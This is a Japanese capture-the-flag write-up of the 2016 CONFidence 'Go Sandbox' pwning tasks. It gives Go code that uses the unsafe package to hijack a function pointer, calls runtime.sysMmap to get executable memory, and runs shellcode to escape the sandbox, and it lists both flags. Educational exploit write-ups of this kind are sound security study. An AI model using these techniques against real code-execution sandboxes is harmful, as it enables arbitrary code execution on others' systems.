Teaser CONFidence DS CTF 2016 Go Sandbox 1, 2 - Go's unsafe is unsafe!

Go Sandbox (Pwning, 150)

We found a sandbox written in Go. It looks pretty solid, but there must be a bug somewhere. All you need to do for us is to execute ./get_flag IP: gobox.hackable.software:1337 Download

Golangソースコードを実行するサンドボックス./get_flagを実行するとflagが得られる。

golangのバイナリはstatic linkされているためサイズが大きく解析がしにくい。main関数はmain.mainとしてシンボル定義されているので、そこから読んでいく。プログラムの流れは、ソースコードの入力、制限チェック、ビルドして実行するだけ。

main.checkProgram内でgo/parserを使ってソースコードを静的解析して制限チェックを行う。ここではimportできるpackageが制限されており、以下の文字列が含まれるpackageが禁止されている。

archive, compress, crypto, database, debug, encoding, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text, C

syscallCが禁止されているので、直接execve syscallを呼ぶことができないが、ここではunsafeが禁止されてないので、unsafeを使って任意のコードを実行できるようにしてみる。

unsafe

unsafeはCのポインタ演算のようなことができる。この名前の通り、間違った使い方をすると危険。

アドレスに飛ぶ

まず、unsafeでmain関数のアドレスを取得してみる。

f := main
refAddr := uintptr(*(*int64)(unsafe.Pointer(&f)))
addr := uintptr(*(*int64)(unsafe.Pointer(refAddr)))
fmt.Printf("%x -> %x\n", refAddr, addr) #=> 52ae18 -> 401010

変数fにはこのようにmain.mainのアドレスが入っており、この中身を変数addrに代入している。

f:id:akiym:20160416010018p:plain

次に指定したアドレスに飛んでみる。

func test() {
}

func callAddr(addr uint64) unsafe.Pointer {
    p := int64(uintptr(unsafe.Pointer(&addr)))
    f := test
    *(*int64)(unsafe.Pointer(unsafe.Pointer(&f))) = p
    return unsafe.Pointer(&f)
}

func main() {
    pwned := *(*func())(callAddr(0xdeadbeef))
    pwned()
}

test関数へ参照しているポインタを指定したアドレスに書き換えてから関数呼び出しを行う。

ちなみにビルドされたバイナリはこのようになっている。インライン展開されているのとunsafe.Pointerは単純にポインタの演算になってしまっていることに注意。

f:id:akiym:20160416010037p:plain

アドレス0xdeadbeefは存在しないので、fatalするが0xdeadbeefには飛んでいることが分かる。

unexpected fault address 0xdeadbeef
fatal error: fault
[signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]

シェルコードを実行する

go 1.6ではNXが有効なのでheapやstackに共に実行できない。
嬉しいことに生成されるバイナリにはruntime.sysMmapがリンクされているので、これを使ってexecutableなメモリ領域を確保してシェルコードを実行することができる。
runtime.sysMmapは単純にmmap syscallを呼ぶだけの関数。

f:id:akiym:20160416010045p:plain

同じ環境でバイナリをビルドすることでruntime.sysMmapのアドレスをあらかじめ知っておくことができる。(static linkされているのでアドレスは固定)

mmapを呼ぶことでアドレス0x1000000にrwxな領域を確保する。

mmap := *(*func(unsafe.Pointer, uintptr, int32, int32, int32, uint32))(callAddr(0x44e110)) // runtime.sysMmap
shellcodeAddr := unsafe.Pointer(uintptr(0x1000000))
mmap(shellcodeAddr, 4096, 7, 0x32, -1, 0)

最後に確保した領域に./get_flagを実行するシェルコードを書き込んで呼び出せば終わり。

flag: DrgnS{Uns4fe_Go_15_un5af3}

以上よりunsafeが使えると任意のコードが実行できることが分かる。

Go Sandbox 2 (Pwning, 250)

The bug in the previous sandbox was fixed, but there's surely something wrong with this one too. The task is, as before, to execute ./get_flag IP: gobox2.hackable.software:1337 Download

前回と同じソースコードで通る。

flag: DrgnS{D4rn_5tR1ng_Int3Rpo14TI0n}